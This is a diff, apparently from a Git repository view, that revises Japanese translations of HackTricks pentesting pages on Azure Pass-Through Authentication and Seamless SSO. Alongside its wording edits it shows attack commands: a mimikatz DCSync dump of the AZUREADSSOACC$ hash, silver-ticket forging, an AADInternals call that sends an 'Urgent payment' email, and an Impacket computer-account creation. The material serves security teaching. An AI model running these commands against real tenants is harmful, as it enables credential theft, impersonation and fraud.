{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra パススルー認証を使用すると、ユーザーは**同じパスワードを使用してオンプレミスおよびクラウドベースのアプリケーションにサインイン**できます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーが Microsoft Entra ID を使用してサインインすると、この機能はユーザーのパスワードをオンプレミスの Active Directory に対して直接検証します。
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra パススルー認証を使用すると、ユーザーは**オンプレミスおよびクラウドベースのアプリケーションに同じパスワードでサインイン**できます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーが Microsoft Entra ID を使用してサインインすると、この機能はユーザーのパスワードをオンプレミスの Active Directory に対して直接検証します。
|
||||
|
||||
PTA では、**アイデンティティ**は**同期**されますが、**パスワード**は PHS のようには**同期**されません。
|
||||
|
||||
@@ -16,12 +16,12 @@ PTA では、**アイデンティティ**は**同期**されますが、**パス
|
||||
|
||||
1. **ログイン**するために、ユーザーは**Azure AD**にリダイレクトされ、**ユーザー名**と**パスワード**を送信します。
|
||||
2. **資格情報**は**暗号化**され、Azure AD の**キュー**に設定されます。
|
||||
3. **オンプレミス認証エージェント**がキューから**資格情報**を取得し、**復号化**します。このエージェントは**「パススルー認証エージェント」**または**PTAエージェント**と呼ばれます。
|
||||
4. **エージェント**は**オンプレミスAD**に対して資格情報を**検証**し、**応答**をAzure ADに**返します**。応答が肯定的であれば、ユーザーの**ログインを完了**します。
|
||||
3. **オンプレミス認証エージェント**がキューから**資格情報**を収集し、それを**復号化**します。このエージェントは**「パススルー認証エージェント」**または**PTAエージェント**と呼ばれます。
|
||||
4. **エージェント**は**オンプレミスAD**に対して資格情報を**検証**し、**応答**を**Azure AD**に**返します**。応答が肯定的であれば、ユーザーの**ログインを完了**します。
|
||||
|
||||
> [!WARNING]
|
||||
> 攻撃者が**PTA**を**侵害**すると、キュー内のすべての**資格情報**を（**平文**で）**見る**ことができます。\
|
||||
> また、AzureADに対して**任意の資格情報を検証**することもできます（Skeleton key に似た攻撃）。
|
||||
> 攻撃者が**PTA**を**侵害**すると、キュー内のすべての**資格情報**（**平文**）を見ることができます。\
|
||||
> また、AzureAD に対して**任意の資格情報を検証**することもできます（スケルトンキーに似た攻撃）。
|
||||
|
||||
### 列挙
|
||||
|
||||
@@ -95,4 +95,4 @@ seamless-sso.md
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - シームレスSSO
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
|
||||
**Kerberosチケット**は、パスワードの**NTHash (MD4)**を使用して**暗号化**され、Entra IDは送信されたパスワードを使用してチケットを復号化します。
|
||||
|
||||
**Entra ID**は、Kerberos **チケット**を受け入れる**エンドポイント** (https://autologon.microsoftazuread-sso.com) を公開しています。ドメイン参加マシンのブラウザは、SSOのためにこのエンドポイントにチケットを転送します。
|
||||
**Entra ID**は、Kerberos **チケット**を受け入れる**エンドポイント** (https://autologon.microsoftazuread-sso.com) を公開しています。ドメイン参加したマシンのブラウザは、SSOのためにこのエンドポイントにチケットを転送します。
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
@@ -41,15 +41,15 @@ $searcher.FindOne()
|
||||
> これは、ユーザーがクラウドにログインすることを許可するチケットだからです。
|
||||
|
||||
そのTGSチケットを取得するために、攻撃者は次のいずれかを持っている必要があります:
|
||||
- **侵害されたユーザーのTGS:** メモリ内で`HTTP/autologon.microsoftazuread-sso.com`へのチケットを持つユーザーのセッションを侵害すると、これを使用してクラウドリソースにアクセスできます。
|
||||
- **侵害されたユーザーのTGT:** たとえ持っていなくても、ユーザーが侵害されていれば、[Kekeo](https://x.com/gentilkiwi/status/998219775485661184)や[Rubues](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)などの多くのツールに実装されている偽のTGT委任トリックを使用して取得できます。
|
||||
- **侵害されたユーザーのTGS:** メモリ内の`HTTP/autologon.microsoftazuread-sso.com`へのチケットを持つユーザーのセッションを侵害すると、クラウドリソースにアクセスするためにそれを使用できます。
|
||||
- **侵害されたユーザーのTGT:** たとえ持っていなくても、ユーザーが侵害されている場合、[Kekeo](https://x.com/gentilkiwi/status/998219775485661184)や[Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)などの多くのツールに実装されている偽のTGT委任トリックを使用して取得できます。
|
||||
- **侵害されたユーザーのハッシュまたはパスワード:** SeamlessPassは、この情報を使用してドメインコントローラーと通信し、TGTを生成し、その後TGSを生成します。
|
||||
- **ゴールデンチケット:** KRBTGTキーを持っていれば、攻撃されたユーザーに必要なTGTを作成できます。
|
||||
- **AZUREADSSOACC$アカウントのハッシュまたはパスワード:** この情報とユーザーのセキュリティ識別子（SID）を使用して攻撃することで、サービスチケットを作成し、クラウドで認証することが可能です（前の方法で実行されたように）。
|
||||
- **ゴールデンチケット:** KRBTGTキーを持っている場合、攻撃されたユーザーに必要なTGTを作成できます。
|
||||
- **AZUREADSSOACC$アカウントのハッシュまたはパスワード:** この情報とユーザーのセキュリティ識別子(SID)を使用して攻撃することで、サービスチケットを作成し、クラウドに認証することが可能です（前の方法で実行されたように）。
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
[このブログ記事で説明されているように](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)、前述の要件のいずれかを持っていれば、侵害されたユーザーとして、または**`AZUREADSSOACC$`**アカウントのハッシュまたはパスワードを持っていれば、ツール**SeamlessPass**を使用してクラウドリソースにアクセスするのは非常に簡単です。
|
||||
[このブログ投稿で説明されているように](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)、前述の要件のいずれかを持っていれば、侵害されたユーザーとして、または**`AZUREADSSOACC$`**アカウントのハッシュまたはパスワードを持っていれば、ツール**SeamlessPass**を使用してクラウドリソースにアクセスするのは非常に簡単です。
|
||||
|
||||
最後に、TGTを使用して、ツール[**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)を使用することが可能です:
|
||||
```bash
|
||||
@@ -69,7 +69,7 @@ wmic useraccount get name,sid # Get the user SIDs
|
||||
|
||||
### AZUREADSSOACC$アカウントのハッシュを取得する
|
||||
|
||||
ユーザー**`AZUREADSSOACC$`の** **パスワード**は**決して変わりません**。したがって、ドメイン管理者はこの**アカウントのハッシュ**を危険にさらし、それを使用して**シルバーチケット**を作成し、**同期された任意のオンプレミスユーザー**でAzureに接続することができます。
|
||||
ユーザー**`AZUREADSSOACC$`の** **パスワード**は**決して変更されません**。したがって、ドメイン管理者はこの**アカウントのハッシュ**を危険にさらし、それを使用して**シルバーチケット**を作成し、**同期された任意のオンプレミスユーザー**でAzureに接続することができます。
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
@@ -91,9 +91,9 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
> 現在の情報を使用すると、ドメイン内の任意のユーザーのために、前述のようにツール**SeamlessPass**を使用してazureおよびentraidトークンを取得できます。
|
||||
> また、`AZUREADSSOACC$`アカウントの代わりに、なりすましたい被害者のパスワードのハッシュを取得するために、前述の技術（およびその他）を使用することもできます。
|
||||
|
||||
#### Creating Silver Tickets
|
||||
#### Silverチケットの作成
|
||||
|
||||
ハッシュを使用して、**シルバーチケットを生成**できます：
|
||||
ハッシュを使用して、**silverチケットを生成**できます：
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
@@ -108,14 +108,14 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
### Using Silver Tickets with Firefox
|
||||
### Firefoxを使用したシルバーチケットの利用
|
||||
|
||||
銀チケットを利用するには、以下の手順を実行する必要があります：
|
||||
シルバーチケットを利用するには、以下の手順を実行する必要があります：
|
||||
|
||||
1. **ブラウザを起動する:** Mozilla Firefoxを起動します。
|
||||
2. **ブラウザを設定する:**
|
||||
- **`about:config`**に移動します。
|
||||
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[value](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)に設定します：
|
||||
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[value](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)にします：
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Firefoxの`設定`に移動し、`Microsoft、職場および学校アカウントのためのWindowsシングルサインオンを許可する`を検索して有効にします。
|
||||
3. **Webアプリケーションにアクセスする:**
|
||||
@@ -125,9 +125,9 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
|
||||
- 続行するには、TABまたはENTERを押します。
|
||||
|
||||
> [!WARNING]
|
||||
> これは**ユーザーにMFAが有効な場合はバイパスしません**。
|
||||
> これは**MFAが有効な場合はバイパスしません**。
|
||||
|
||||
### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
### オンプレミス -> クラウドへのリソースベースの制約付き委任 <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
攻撃を実行するには、以下が必要です：
|
||||
|
||||
@@ -135,7 +135,7 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
|
||||
- あなたが制御するコンピュータアカウント（ハッシュとパスワード） - 作成することができます
|
||||
|
||||
1. ステップ1 – 自分のコンピュータアカウントを追加する
|
||||
- `ATTACKBOX$`を作成し、そのSID/NTLMハッシュを表示します。任意のドメインユーザーがMachineAccountQuota > 0の間にこれを行うことができます。
|
||||
- `ATTACKBOX$`を作成し、そのSID/NTLMハッシュを表示します。任意のドメインユーザーがこれを行うことができ、MachineAccountQuota > 0の間は可能です。
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
@@ -183,4 +183,4 @@ Active Directory管理者がAzure AD Connectにアクセスできる場合、**
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user